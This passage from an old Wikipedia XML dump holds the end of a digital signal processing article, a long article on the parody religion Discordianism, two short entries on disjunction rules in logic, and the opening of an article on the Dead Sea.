*Paul M. Embree, Damon Danieli: ''C++ Algorithms for Digital Signal Processing'', Prentice Hall, ISBN 0131791443
*Anthony Zaknich: ''Neural Networks for Intelligent Signal Processing'', World Scientific Pub Co Inc, ISBN 9812383050
*Vijay Madisetti, Douglas B. Williams: ''The Digital Signal Processing Handbook'', CRC Press, ISBN 0849385725
*Stergios Stergiopoulos: ''Advanced Signal Processing Handbook: Theory and Implementation for Radar, Sonar, and Medical Imaging Real-Time Systems'', CRC Press, ISBN 0849336910
*Joyce Van De Vegte: ''Fundamentals of Digital Signal Processing'', Prentice Hall, ISBN 0130160776
*Ashfaq Khan: ''Digital Signal Processing Fundamentals'', Charles River Media, ISBN 1584502819
*Jonathan M. Blackledge, Martin Turner: ''Digital Signal Processing: Mathematical and Computational Methods, Software Development and Applications'', Horwood Publishing, ISBN 1898563489
*Bimal Krishna, K. Y. Lin, Hari C. Krishna: ''Computational Number Theory &amp; Digital Signal Processing'', CRC Press, ISBN 0849371775
*Doug Smith: ''Digital Signal Processing Technology: Essentials of the Communications Revolution'', American Radio Relay League, ISBN 0872598195
*Henrique S. Malvar: ''Signal Processing with Lapped Transforms'', Artech House Publishers, ISBN 0890064679
*Charles A. Schuler: ''Digital Signal Processing: A Hands-On Approach'', McGraw-Hill, ISBN 0078297443
*[[James H. McClellan]], [[Ronald W Schafer|Ronald W. Schafer]], Mark A. Yoder: ''Signal Processing First'', Prentice Hall, ISBN 0130909998
*Artur Krukowski, Izzet Kale: ''DSP System Design: Complexity Reduced Iir Filter Implementation for Practical Applications'', Kluwer Academic Publishers, ISBN 1402075588
*John G. Proakis: ''A Self-Study Guide for Digital Signal Processing'', Prentice Hall, ISBN 0131432397

==External links==

*[http://Microcontroller.com Microcontroller.com]
*[http://www.dspguide.com The Scientist and Engineer's Guide to Digital Signal Processing]
*[http://www.dsprelated.com DSP related discussion groups ]
*[http://www.altera.com/technology/dsp/dsp-index.jsp FPGA based DSP dev kit]
*[http://www.dsptutor.freeuk.com/ Digital Signal Processing Tutorial]
*[http://www.bdti.com/faq/dsp_faq.htm FAQ on Digital Signal Processing]
*[http://www.tapr.org/tapr/html/dspf.html  Introduction to Digital Signal Processing]
*[http://www.e-dsp.com/ Digital Signal Processing projects]
*[http://www.cdsp.neu.edu/ CDSP - Center for Digital Signal Processing]
*[http://www.musicdsp.org Music DSP Source Code Archive]
*[http://users.aber.ac.uk/dgw/dsp.htm DSP links]
*[http://www.bores.com/courses/intro/ Yet another good DSP tutorial (bores) ]
*[http://www.spectrum-analyzer.info Spectrum Analysis Tutorials]
*[http://www.k9spud.com/traxmod/ TRAXMOD dsPIC MOD music player]
*[http://www.devicetools.com DeviceTools] - Tools and silicon for embedded device developers
*[http://www.digitalfilterdesign.com Free digital filter design software]
*[http://dsp-book.narod.ru/books.html Some free books on DSP (in English and in Russian)]
[[Category:Digital electronics]]
[[Category:Digital signal processing|*]]

[[da:Digital signalbehandling]]
[[de:Digitale Signalverarbeitung]]
[[es:Procesamiento digital de señales]]
[[fr:Traitement numérique du signal]]
[[it:Elaborazione numerica dei segnali]]
[[hu:Digitális jelfeldolgozás]]
[[ja:デジタル信号処理]]
[[pl:Cyfrowe przetwarzanie sygnałów]]
[[ru:Цифровая обработка сигналов]]
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[[fi:Digitaalinen signaalinkäsittely]]
[[th:การประมวลผลสัญญาณดิจิทัล]]
[[zh:数字信号处理]]</text>
    </revision>
  </page>
  <page>
    <title>Dark matter problem</title>
    <id>8526</id>
    <revision>
      <id>15906510</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Dark matter]]
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  <page>
    <title>Discordianism</title>
    <id>8527</id>
    <revision>
      <id>41693635</id>
      <timestamp>2006-03-01T02:38:33Z</timestamp>
      <contributor>
        <username>Kodemage</username>
        <id>286584</id>
      </contributor>
      <minor />
      <comment>/* The Curse of Greyface */</comment>
      <text xml:space="preserve">'''Discordianism''' is a modern, &lt;!-- fnord --&gt; Chaos-based [[religion]] founded in either [[1958]] or [[1959]].  It has been described as both an elaborate joke disguised as a religion, and as a religion disguised as an elaborate [[joke]].  Some of its followers make the claim that it is &quot;a religion disguised as &lt;!-- fnord --&gt; a joke disguised as a religion&quot; (or &quot;a joke disguised as a religion disguised as a joke disguised as...&quot;).  It can be viewed as a simple rejection of [[reductionism]] and [[dualism]], even [[falsifiability]] &amp;mdash; not in concept different from [[postmodernism]] or certain trends in the [[philosophy of mathematics]].  It has also been described as &quot;[[Zen]] for [[roundeyes]],&quot; and converges with some of the more absurdist interpretations of the [[Rinzai school]].

==Founding==
The foundational document of Discordianism is the ''[[Principia Discordia]]'' written by [[Malaclypse the Younger|Malaclypse The Younger]] (most likely an alias of [[Gregory Hill (writer)|Greg Hill]]).  This book contains many references to an earlier source, ''The Honest Book of Truth''.  From the quotations, the HBT seems to be arranged like the [[Bible]], consisting of verses grouped into chapters grouped into books grouped into the HBT itself.  The Principia includes (on page 00041) a large portion of (or possibly all of) a chapter of &quot;The Book of Explanations&quot; which recounts how the HBT was revealed to [[Lord Omar Khayyam Ravenhurst]] (believed by many to be [[Kerry Thornley]]).  It may be worth noting that the tale of the discovery of the HBT contains many similarities to the tale of the discovery of the [[Book of Mormon]], and that Thornley had been a [[Mormon]].  It also includes (on page 00030) part of the next chapter, telling how the HBT was taken by a garbage collector, who refused to return it.

Although most religions revere the principles of [[Harmony (disambiguation)|harmony]] and [[order]] in the [[Universe]], Discordianism can be interpreted as a recognition that [[disharmony]] and [[chaos]] are equally valid [[aspect]]s of [[reality]]. The ''[[Principia Discordia]]'' often hints that Discordianism was founded as a [[dialectic]] [[antithesis]] to more popular religions based on [[order]], although the [[rhetoric]] throughout the book describes [[chaos]] as a much more underlying impulse of the [[universe]]. This may have been done with the intention of merely &quot;balancing out&quot; the creative forces of [[order]] and [[disorder]], but the focus is certainly on the more disorderly aspects of the world &amp;ndash; at times the forces of order are even [[wiktionary:vilify|vilified]].

The matron deity of Discordianism is [[Eris]], the [[Ancient Greece|ancient Greek]] goddess of discord, with whom the [[Ancient Rome|Romans]] identified their goddess [[Discordia]].

==Organization==

:''If organized religion is the [[opium]] of the masses, then disorganized religion is the [[marijuana]] of the lunatic [[fringe]].'' &amp;mdash;[[Kerry Thornley]] in the introduction to the 5th edition of ''[[Principia Discordia]]''

The very idea of a Discordian organization is something of an [[oxymoron]].  Nevertheless, some structure is indicated in ''Principia Discordia''.  The most general group, presumably including all Discordians (and potentially others), is The [[Discordian Society]], whose definition is &quot;The Discordian Society has no definition&quot; (''[[Principia Discordia]]'', page 00032).  Within the society are [[sect]]s of Discordianism, each under the direction of an &quot;Episkopos&quot; ([[Greek language|Greek]], &quot;overseer&quot;, source of [[English language|English]] ''bishop'' and ''episcopalian''), who receives direction directly from [[Eris]], presumably via his or her [[pineal gland]].

:''Some Episkiposes have a one-man [[cabal]].''
:''Some work together.''
:''Some never do explain.''
:-marginalia from ''[[Principia Discordia]]'', page 00032

Discordians who do not form their own [[sect]]s, whether they belong to someone else's sect or not, make up the [[Legion of Dynamic Discord]], and may be referred to as [[Legionnaire]]s.  Would-be Discordians are told on page 00032,

:If you want in on the Discordian Society
:then declare yourself what you wish
:do what you like
:and tell us about it
:or
:if you prefer
:don't.
:&amp;nbsp;
:There are no rules anywhere.
:The Goddess Prevails.

===POEE===

The sect of Discordianism founded by [[Malaclypse the Younger|Malaclypse The Younger]] and Omar Khayyam Ravenhurst is known as the ''Paratheo-Anametamystikhood Of Eris Esoteric'' (POEE), and the ''Principia Discordia'' tells us much about POEE in particular, as well as Discordianism in general.

For example, page 00022 contains &amp;ndash; along with a hand-copied quotation by [[Georg Christoph Lichtenberg|Lichtenberg]]: &quot;This book is a mirror.  When a monkey looks in, no apostle looks out.&quot; &amp;ndash; some details about the structure of POEE.  In particular:

:POEE had 5 DEGREES:
::There is the Neophyte, or LEGIONNAIRE DISCIPLE.
::The LEGIONNAIRE DEACON, who is catching on.
::An ordained POEE PRIEST/PRIESTESS or a CHAPLIN.
::The HIGH PRIEST, The Polyfather.
::And POEE =POPE=.

:POEE Legionnaire Disciples are authorized to initiate others as Discordian Society Legionnaires.  PRIESTS appoint their own DEACONS.  The POLYFATHER ordains Priests.  I don't know about the =POPES=.

According to the [[Principia Discordia]], POEE is &quot;a tribe of [[Philosophy|philosophers]], [[Theology|theologians]], [[magician]]s,[[Science|scientists]], [[art]]ists, [[clown]]s, and similar [[maniac]]s who are intrigued by [[Eris]] goddess of confusion and her doings.&quot; Furthermore it states that &quot;POEE subscribes to the [[#The Law of Fives|Law Of Fives]] of Omar's sect&quot; and &quot;POEE also recognizes the Holy [[23 (number)|23]].&quot;

'''Paratheo-Anametamystikhood''' can be taken to mean &quot;equivalent deity, reversing beyond-mystique&quot;.

===Popes in Discordianism===
According to page 00036 of the Principia Discordia, a pope is &quot;every single man, woman, and child on this Earth.&quot;  

Included in the ''[[Principia Discordia]]'' there is an &quot;official =POPE= card&quot; (on page 00036) that may be reproduced and distributed freely to anyone and everyone. Papacy, however, is not granted through possession of this card &amp;mdash;it is merely to inform people that they are a genuine and authorized ''Pope of Discordia.''

While the powers of a Pope were not necessarily enumerated in the ''Principia'', we are given some idea from a note under the card which states, &quot;A =POPE= is someone who is not under the authority of the authorities.&quot;
Some Discordians have also taken it upon themselves to further elaborate upon the powers of a Pope.  On the back of some Pope cards, the following message can be found:

&lt;blockquote&gt;
&quot;The rights of a =POPE= include but are not necessarily limited to:
# To invoke infallibility at any time, including retroactively.
# To completely rework the Erisian church.
# To baptise, bury, and marry (with the permission of the deceased in the latter two cases).
# To ex-communicate, de-ex-communicate, re-ex-communicate, and de-re-ex-communicate (no backsies!) both his-/her-/it-/them-/your-/our-/His-/Her-/It-/Them-/Your-/Our-self/selves and others (if any).
# To perform all rites and functions deemed inappropriate for a Pope of Discordia.&quot;
&lt;/blockquote&gt;

The third right (requiring permission from the deceased in cases of burying or marriage, but not baptism) may be a reference to the [[Church of Jesus Christ of Latter-day Saints]] practice of [[Baptism for the dead]].

This understanding of the notion of Pope has far reaching consequences in Discordianism. For example, the introduction to ''Principia Discordia'' says, &quot;Only a Pope may [[canonize]] a [[Saint]]. [...] So you can ordain yourself &amp;mdash;and anyone or anything else &amp;mdash;a Saint.&quot;  The last enumerated right of a =POPE= may be an allusion to the [[necessary and proper clause]].

A female version, with the word ''Mome'' substituted for Pope, has also been promulgated.

== Philosophy ==
A summary of part of the Discordian [[philosophy]] appears on pages 00049 and 00050 of the ''Principia Discordia''. The following is a quote extracted from ''Principia Discordia'' ([[All Rites Reversed]]):

:HERE FOLLOWS SOME PSYCHO-METAPHYSICS.
:If you are not hot for philosophy, best just to skip it.
:The Aneristic Principle is that of APPARENT ORDER; the Eristic Principle is that of APPARENT DISORDER. Both order and disorder are man made concepts and are artificial divisions of PURE CHAOS, which is a level deeper than is the level of distinction making.

:With our concept making apparatus called &quot;mind&quot; we look at reality through the ideas-about-reality which our cultures give us. 
:The ideas-about-reality are mistakenly labeled &quot;reality&quot; and unenlightened people are forever perplexed by the fact that other people, especially other cultures, see &quot;reality&quot; differently. 
:It is only the ideas-about-reality which differ. Real (capital-T True) reality is a level deeper than is the level of concept.

:We look at the world through windows on which have been drawn grids (concepts). Different philosophies use different grids. A culture is a group of people with rather similar grids. Through a window we view [[chaos]], and relate it to the points on our [[grid]], and thereby understand it. The ORDER is in the GRID. That is the Aneristic Principle.

:Western philosophy is traditionally concerned with contrasting one grid with another grid, and amending grids in hopes of finding a perfect one that will account for all reality and will, hence, (say unenlightened westerners) be True. This is illusory; it is what we Erisians call the ANERISTIC ILLUSION. Some grids can be more useful than others, some more beautiful than others, some more pleasant than others, etc., but none can be more True than any other.

:DISORDER is simply unrelated information viewed through some particular grid. But, like &quot;relation&quot;, no-relation is a concept. [[Male]], like [[female]], is an idea about [[sex]]. To say that male-ness is &quot;absence of female-ness&quot;, or vice versa, is a matter of definition and metaphysically arbitrary. The artificial concept of no-relation is the Eristic Principle.

:The belief that &quot;order is true&quot; and disorder is false or somehow wrong, is the Aneristic Illusion. To say the same of disorder, is the Eristic Illusion.

:The point is that (little-t) truth is a matter of definition relative to the grid one is using at the moment, and that (capital-T) Truth, metaphysical reality, is irrelevant to grids entirely. Pick a grid, and through it some chaos appears ordered and some appears disordered. Pick another grid, and the same chaos will appear differently ordered and disordered.

:Reality is the original [[Rorschach inkblot test|Rorschach]].
:Verily! So much for all that.


And this from the ''[[Principia Discordia]]'''s very beginning, a Discordian [[koan]]:

:GREATER POOP: Is [[Eris]] true?
:MALACLYPSE THE YOUNGER: Everything is true.
:GP: Even false things?
:M2: Even false things are true.
:GP: How can that be?
:M2: I don't know man, I didn't do it.

=== Chao ===

The word '''Chao''' (pronounced similar to &quot;[[cow]]&quot;) &lt;!-- fnordblatt! --&gt; was [[neologism|coined]] as the singular of ''chaos''. In the Discordian religion the chao is a symbol of the [[pataphysics|pataphysical]] nature of reality; singular instances of chaos being at the center of pataphysical theory. The word is a [[pun]] that enables the following [[couplet]] in the ''[[Principia Discordia]]'':

:To diverse [[gods]]
:Do mortals bow;
:[[Holy Cow]], and
:Wholly Chao.

====The Sacred Chao====
[[Image:sacred-chao.png|right|thumb|300px|The Sacred Chao]]

The [[Sacred Chao]] is a symbol used by Discordians to illustrate the interrelatedness of order and disorder.  It resembles a [[yin yang]] symbol, but according to ''Principia Discordia'' (page 00049):

:The Sacred Chao is not the Yin-Yang of the Taoists.  It is the HODGE-PODGE of the Erisians.  And, instead of a Podge spot on the Hodge side, it has a [[Pentagon|PENTAGON]] which symbolizes the ANERISTIC PRINCIPLE, and instead of a Hodge spot on the Podge side, it depicts the GOLDEN APPLE OF DISCORDIA to symbolize the ERISTIC PRINCIPLE.

:The Sacred Chao symbolizes absolutely everything anyone need ever know about absolutely anything, and more!  It even symbolizes everything not worth knowing, depicted by the empty space surrounding the Hodge-Podge.

The choice of the [[Pentagon]] as a symbol of the Aneristic Principle is partly related to [[The Pentagon]] in [[Washington, D.C.]], and partly a nod to the [[#The Law of Fives|Law of Fives]].  The Golden Apple of Discordia is the one from the story of The Original Snub (below).

=== The Law of Fives ===
[[Image:Principiadiscordia-page16.gif|thumb|right|Page 00016 of the Principia Discordia]]
The Law of Fives is summarized on page 00016 of the ''Principia Discordia'':

:The Law of Fives states simply that: ALL THINGS HAPPEN IN FIVES, OR ARE DIVISIBLE BY OR ARE MULTIPLES OF FIVE, OR ARE SOMEHOW DIRECTLY OR INDIRECTLY APPROPRIATE TO 5.

:The Law of Fives is never wrong.

It is worth noting that the Law of Fives includes the word &quot;Five&quot; five times.

Like most of Discordianism, the Law of Fives appears on the surface to be either some sort of weird joke, or bizarre supernaturalism; but under this, it may help clarify the Discordian view of how the human mind works; Lord Omar is quoted later on the same page as having written, &quot;I find the Law of Fives to be more and more manifest the harder I look.&quot;

Appendix Beth of [[Robert Shea]]'s and [[Robert Anton Wilson]]'s  [[The Illuminatus! Trilogy]] considers some of the numerology of Discordianism, and the question of what would happen to the Law of Fives if everyone had six fingers on each hand.

Another way of looking at the Law of Fives is as a symbol for the observation of reality changing that which is being observed in the observer's mind. Just as how when one looks for fives in reality, one finds them, so will one find conspiracies, ways to determine when the apocalypse will come, and so on and so forth when one decides to look for them. It cannot be wrong, because it proves itself reflexively when looked at through this lens.

=== The Original Snub ===
(From ''[[Principia Discordia|The Principia Discordia]]'', [[All_Rites_Reversed|all Rites Reversed]], pages 00017 and 00018)

:It seems that [[Zeus]] was preparing a wedding banquet for [[Peleus]] and [[Thetis]] and did not want to invite [[Eris]] because of Her reputation as a trouble maker.*

:This made Eris angry, and so She fashioned an apple of pure [[gold]]** and inscribed upon it [[Kallisti|καλλίστῃ]] &lt;nowiki&gt;(&quot;To The Prettiest One&quot;)&lt;/nowiki&gt; and on the day of the fete She rolled it into the banquet hall and then left to be alone and joyously partake of a [[hot dog]].

:Now, three of the invited [[goddess|goddesses]],*** [[Athena]], [[Hera]], and [[Aphrodite]], each immediately claimed it to belong to herself because of the inscription. And they started fighting, and they started throwing [[punch (drink)|punch]] all over the place and everything.

:Finally Zeus calmed things down and declared that an [[arbitrator]] must be selected, which was a reasonable suggestion, and all agreed. He sent them to a shepherd of [[Troy]], whose name was [[Paris_(mythology)|Paris]] because his mother had had a lot of [[Gaul|gaul]] and had married a [[France|Frenchman]]; but each of the sneaky goddesses tried to outwit the others by going early and offering a bribe to Paris.

:Athena offered him [[Heroism|Heroic]] [[War]] Victories, Hera offered him Great [[Wealth]], and Aphrodite offered him the Most [[beauty|Beautiful]] [[Woman]] on [[Earth]]. Being a healthy young Trojan lad, Paris promptly accepted Aphrodite's bribe and she got the apple and he got screwed.

:As she had promised, she maneuvered earthly happenings so that Paris could have Helen (''the'' Helen) then living with her husband [[Menelaus]], [[Monarch|King]] of [[Sparta]]. Anyway, everyone knows that the [[Trojan War]] followed when Sparta demanded their [[Monarch|Queen]] back and that the Trojan War is said to be The First War among men.

:And so we suffer because of the Original Snub. And so a Discordian is to partake of No [[hot dog|Hot Dog]] [[bun|Buns]].[[Image:Apple of Discord.png|right]]

:Do you believe that?

:&lt;nowiki&gt;*&lt;/nowiki&gt; This is called THE DOCTRINE OF THE ORIGINAL SNUB
:&lt;nowiki&gt;**&lt;/nowiki&gt; There is historic disagreement concerning whether this apple was of metallic [[gold]] or [[acapulco gold|acapulco]].
:&lt;nowiki&gt;***&lt;/nowiki&gt; Actually there were five [[goddess]]es, but the [[Greece|Greeks]] did not know the Law of Fives.

The Golden Apple of Discord is thus one of the major symbols associated with [[Discordianism]].

=== The Curse of Greyface ===
The Curse of Greyface is one of the most important parts of Discordianism.  It features prominently on pages 00042 and 00063 of the ''[[Principia Discordia]]''.  Counteracting the curse features prominently on pages 00063 and 00074.  According to the ''Principia'', Greyface was a man who lived in the year [[1166 BC]] and taught that life is serious and play is sin.  The curse is a psychological and spiritual imbalance that results from these beliefs.  (Some believe that [[J. R. &quot;Bob&quot; Dobbs]] of the [[Church of the SubGenius]] and Greyface are one and the same, though he is also referred to as the &quot;Anti-Greyface&quot;.)

==== The Curse ====
Greyface encouraged his followers to &quot;Look at all the order around you&quot; (''Principia Discordia'' page 00042) and somehow convinced mankind to agree with his ideas about Serious Order.  The ''Principia'' notes that it is something of a mystery why Greyface gained so many followers when anyone could have looked at all of the ''disorder'' in the world.

&quot;Greyface and his followers took the game of playing at life more seriously than they took life itself and were known even to destroy other living beings whose ways of life differed from their own.&quot; (''Principia Discordia'' page 00042)

==== Order/disorder and constructive/destructive ====
By accepting that life is a serious, orderly matter, the followers of Greyface end up viewing things as either orderly or disorderly.  In this system, order is preferred to disorder at all costs.  This preference results in both constructive order and destructive order.

The alternative is to view things as either constructive or destructive.  In this system, construction is preferred to destruction.  Selecting construction results in both constructive order and constructive disorder.

==== Counteracting the Curse ====
&quot;[M]ankind has [...] been suffering from a psychological and spiritual imbalance.  Imbalance causes frustration, and frustration causes fear. And fear makes for a bad trip. Man has been on a bad trip for a long time now.&quot; (''Principia Discordia'' page 00042)

&quot;The human race will begin solving it's [sic] problems on the day that it ceases taking itself so seriously.&quot;  (''Principia'' Discordia page 00074)

In addition to the generic advice of culturing your natural love of chaos and playing with Her, the ''Principia Discordia'' provides (on page 00064) &quot;The Turkey Curse Revealed by the Apostle Dr. Van Van Mojo&quot; to counteract The Curse of Greyface.
The Turkey Curse is designed to counteract destructive order.  It derives its name from the fact that the [[incantation]] resembles the sounds of a [[Turkey (bird)|turkey]].

===Law of Eristic Escalation===
The ''Principia Discordia'' (page 00046) contains the Law of Eristic Escalation. 
This law states that ''Imposition of Order'' = ''Escalation of Chaos''. 
This can be read as an argument against [[zero tolerance]] and [[hard security]], or just a statement about the world.  It can also be seen as a parallel to the [[second law of thermodynamics]] from [[physics]].

===The Pentabarf===
The Pentabarf (given on page 00004 of the ''Principia'') is the set of 5 holy laws of Discordianism. It is as follows:
#There is no Goddess but Goddess and She is Your Goddess. There is no Erisian Movement but The Erisian Movement and it is The Erisian Movement. And every Golden Apple Corps is the beloved home of a Golden Worm.
#A Discordian Shall Always use the Official Discordian Document Numbering System.
#A Discordian is Required during his early Illumination to Go Off Alone &amp;amp; Partake Joyously of a Hot Dog on a Friday; this Devotive Ceremony to Remonstrate against the popular Paganisms of the Day: of Catholic Christendom (no meat on Friday), of Judaism (no meat of Pork), of Hindic Peoples (no meat of Beef), of Buddhists (no meat of animal), and of Discordians (no Hot Dog Buns).
#A Discordian shall Partake of No Hot Dog Buns, for Such was the Solace of Our Goddess when She was Confronted with The Original Snub.
#A Discordian is Prohibited from Believing What he reads. 

The Pentabarf is the most fundamental of all Discordian catma.  (&quot;Catma&quot; is a general term for Discordian teachings, sayings, quotations, explanations, jokes and illustrations, as distinguished from Discordian &quot;[[dogma]]&quot;, which consists of certain specific passages from ''The Honest Book of Truth'', cited in ''Principia''.) 
&lt;!-- Moved the quotes section to [[Principia Discordia]]. --&gt;

==Flax ==
In the Principia Discordia, &quot;Five [[ton]]s of [[flax]]&quot; is given as the answer to the question, &quot;Is there an essential meaning behind POEE?&quot;  (This is a reference to a [[Zen]] story about &quot;Three pounds of flax.&quot;)  Discordians have since taken &quot;Five tons of flax&quot; as an absurd slogan or as a universal answer to philosophical questions.

==The pineal gland==
&quot;Consult your [[pineal gland]]&quot; is a common saying in Discordianism.  Some Discordians seem to regard the pineal gland as the source of answers to life's most difficult questions.  Although it has never been proven, the pineal gland is believed to produce trace amounts of DMT ([[dimethyltryptamine]]), a [[psychedelic]] chemical which is believed to play a role in [[dreaming]] and other mystical states.  It should also be noted that the pineal gland was also used in [[Descartes]]'s explanation of [[Cartesian Dualism]] as the &quot;seat of the soul&quot;  and the connection between the material and immaterial world.  And in some cases it is refered to as &quot;the atrophied third eye&quot; 

&lt;!-- fnord --&gt;

==Discordianism as a religion==
While it is unclear whether Discordianism was originally intended to be taken seriously, a number of its members are still active in the Discordian Movement and consider themselves to be practicing Discordians. While Discordianism is separate from modern [[neopaganism]], a number of neopagans have incorporated elements of Discordianism into their beliefs. In addition, Neopagan author [[Margot Adler]] discussed Discordianism in her book, ''[[Drawing Down the Moon: Witches, Druids, Goddess-Worshippers, and Other Pagans in America Today|Drawing Down the Moon]]'', while religious authority [[J. Gordon Melton]] lists Discordianism among various Neopagan groups in his ''[[Encyclopedia Of American Religions]]''. (Melton claims to have excommunicated all other Discordians, based on the fact that he is a Discordian Pope.)

== See also ==

* Discordian Texts and Scripture
** ''[[Principia Discordia]]''
** ''[[Apocrypha Discordia]]''
** ''[[Summa Discordia]]''
** ''[[The Book of Eris]]''
** ''[[Book 5 (The Zenarchist's Cookbook)]]''
** ''[[Metaclysmia Discordia]]''
** ''[[The Honest Book of Truth]]''
** ''[[The Book of the Apocalypso]]''
** ''[[The Book of Inconveniences]]''

* Texts inspired by Discordianism
** ''[[Illuminatus trilogy]]''
** ''[[Schrödinger's Cat trilogy]]''
** ''[[A Discordian Coloring Book]]''
** ''[[Zen Without Zen Masters]]''
** ''[[The Dead Father]]''
** ''[[Agent of Chaos]]''

* Discordian concepts and personages
** [[Eris]]
** [[Malaclypse the Younger|Malaclypse The Younger]]
** [[Discordian calendar]]
** [[Discordian Pope]]
** [[Fnord]]

* Things significant in Discordianism
** [[Emperor Norton]]
** [[Pineal gland]]
** [[Hot dog]]
** [[Flax]]
** [[Bowling|Bowling alleys]]
 
* Similar religions
** [[Church of the SubGenius]]
** [[MOOism|The Church of MOO]]

* Related Concepts
** [[Surrealism]]
** [[Zenarchy]]
** [[Operation Mindfuck]] - Discordian [[culture jamming]]

== External links ==
* [http://religiousmovements.lib.virginia.edu/nrms/disc.html Description of Discordianism] from the Religious Movements Page at [[University of Virginia|UVA]]
* [http://www.poee.org POEE.org]
* [http://www.poee.co.uk POEE.co.uk]
* [http://www.principiadiscordia.com PrincipiaDiscordia.com] - contains the ''[[Principia Discordia]]'' in [[HTML]]. Also has Discordian [[message boards]] and some amusing [[Portable Document Format|PDF]]s.
* [http://www.principiadiscordia.org PrincipiaDiscordia.org] - contains the ''[[Principia Discordia]]'', 4th and 5th Editions, in Page Scans, along with a [[Wiki]] and a [[message boards|message board]].
* [http://www.principia-discordia.de Principia-Discordia.de] - contains the ''[[Principia Discordia]]'' translated to German in [[HTML]]. Also has an Discordian Shop.
* [http://jubal.westnet.com/hyperdiscordia/ HyperDiscordia] - &quot;Confusion for a New Generation&quot;
* [http://www.verthaine.sphosting.com/1.html Discordianism/Erisianism] The history and philosophy of Discordianism and Erisianism.
* [http://www.kbuxton.com/discordia/ Very detailed hub; lots of links]
* [http://singlenesia.com/links/ Discordian Directory]
* [http://evilloop.com/principia.discordia.html Traduction française] du ''Principia Discordia'' et [http://evilloop.com/principia.discordia.exe projecteur flash] avec images et mise en page de l'original
* [http://is-root.de/wiki/index.php/Discordian_Cabals Discordian Cabals Database]
* [http://groups.google.com/group/talk.politics.libertarian/msg/86370c52c890d7d7?dmode=source Historia Discordia]

[[Category:Discordianism]]
[[Category:Joke religions]]
[[Category:New religious movements]]

[[cs:Diskordianismus]]
[[de:Diskordianismus]]
[[es:Discordianismo]]
[[it:Discordianesimo]]
[[nl:Discordianisme]]
[[pl:Discordia]]
[[pt:Discordianismo]]
[[ru:Дискордианизм]]</text>
    </revision>
  </page>
  <page>
    <title>Disjunction introduction</title>
    <id>8528</id>
    <revision>
      <id>30199675</id>
      <timestamp>2005-12-05T07:03:21Z</timestamp>
      <contributor>
        <username>Jiy</username>
        <id>81090</id>
      </contributor>
      <minor />
      <comment>recat</comment>
      <text xml:space="preserve">'''Disjunction introduction''' or '''Addition''' is a [[validity|valid]], simple [[argument form]] in [[logic]]:

:A.
:Therefore, A or B.

or in [[logical operator]] ([[sequent]]) notation:
:&lt;math&gt; A \vdash A \or B &lt;/math&gt;

The argument form has one premise, A, and an unrelated proposition, B. From the premise it can be logically concluded that either A or B is true, or both are true.

Here is an example of such an argument:

:[[Democracy]] is the best system of [[government]].
:Therefore democracy is the best system of government or everyone should vote.

[[Category:Rules of inference]]</text>
    </revision>
  </page>
  <page>
    <title>Disjunction elimination</title>
    <id>8529</id>
    <revision>
      <id>30825048</id>
      <timestamp>2005-12-10T15:11:23Z</timestamp>
      <contributor>
        <username>GregorB</username>
        <id>179697</id>
      </contributor>
      <comment>Category:Mathematical logic</comment>
      <text xml:space="preserve">In [[propositional calculus]] '''disjunction elimination''' is the inference that, if &quot;A or B&quot; is true, and A entails C, and B entails C, then we may justifiably infer C. The reasoning is simple: since at least one of the statements A and B is true, and since either of them would be sufficient to entail C, C is certainly true.

For example, it is true that either I'm inside or I'm outside.  It is also true that if I'm inside, I have my wallet on me.  It's also true that if I'm outside, I have my wallet on me.  Given these three premises, it follows that I have my wallet on me.

Formally:

  ( A &amp;or; B )
  ( A &amp;rarr; C )
  &lt;u&gt;( B &amp;rarr; C )&lt;/u&gt;
  &amp;there4; C

[[Category:Mathematical logic]]</text>
    </revision>
  </page>
  <page>
    <title>Dead Sea</title>
    <id>8530</id>
    <revision>
      <id>42012286</id>
      <timestamp>2006-03-03T05:20:06Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <comment>/* Chemistry and health effects */ fixes</comment>
      <text xml:space="preserve">[[Image:Aerial jordan.jpg|frame|right|The Jordan River flowing into the Dead Sea]]

The '''Dead Sea''' ([[Arabic language|Arabic]] البحر الميت, [[Hebrew language|Hebrew]] ים המלח) is the [[Extremes on Earth|lowest]] exposed point on the [[Earth]]'s surface. It is on the border between the [[West Bank]], [[Israel]], and [[Jordan]] on the [[Jordan Rift Valley]]. This [[endorheic]] body of water is the deepest hypersaline lake in the world. 

The Dead Sea is 67 km long, up to 18 km wide and 799 m below [[sea level]] in depth at its deepest point. The surface of the Dead Sea is at an [[elevation]] of 394.6 m (1269 ft) below sea level (2005 figure). 

The Dead Sea has attracted interest and visitors from around the Mediterranean basin for thousands of years. It was a place of refuge for [[King David]], it was one of the world's first health resorts for [[Herod the Great]], and it has been the supplier of products as diverse as balms for Egyptian [[mummy|mummification]] to [[potash]] for fertilizers.

In Hebrew the Dead Sea is called the ''{{Audio|He-Dead_Sea.ogg|Yam ha-Melah}}'' - meaning &quot;sea of [[salt]]&quot;, or ''Yam ha-Mavet'' - meaning &quot;sea of death&quot;. In past times it was the &quot;Eastern Sea&quot; or the &quot;Sea of Arava&quot;. In [[Arabic language|Arabic]] the Dead Sea is called {{Audio|ArDeadSea.ogg|''Al Bahr al Mayyit''}} meaning &quot;the Dead Sea&quot;, or less commonly ''Bahr Lūţ'' meaning &quot;the Sea of [[Lot (biblical)|Lot]]&quot;. Historically, another Arabic name was the &quot;Sea of Zoar&quot;, after a nearby town. To the Greeks, the Dead Sea was &quot;Lake ''Asphaltites''&quot; (see below).

== Natural history == 
The Dead Sea is located in the [[Dead Sea Rift]], that is part of a long [[Rift (geology)|fissure]] in the Earth's surface called the [[Great Rift Valley]]. The 6000 km (3700 mile) long Great Rift Valley extends from the [[Taurus Mountains]] of [[Turkey]] to the [[Zambezi]] Valley in southern Africa. The Great Rift Valley formed in [[Miocene]] times as a result of the [[Arabian Plate]] moving northward and then eastward away from the [[African Plate]].

Around three million years ago what is now the valley of the [[Jordan River]], Dead Sea, and [[Arabah|Wadi Arabah/Nahal Arava]] was repeatedly inundated by waters from the [[Mediterranean Sea]]. The waters formed in a narrow, crooked bay which was connected to the sea through what is now the [[Jezreel Valley]].  The floods of the valley came and went depending on long scale climatic change. The lake that occupied the Dead Sea Rift, named &quot;[[Sodom and Gomorrah|Lake Sodom]]&quot;, deposited beds of salt, eventually coming to be 3 km (2 miles) thick.

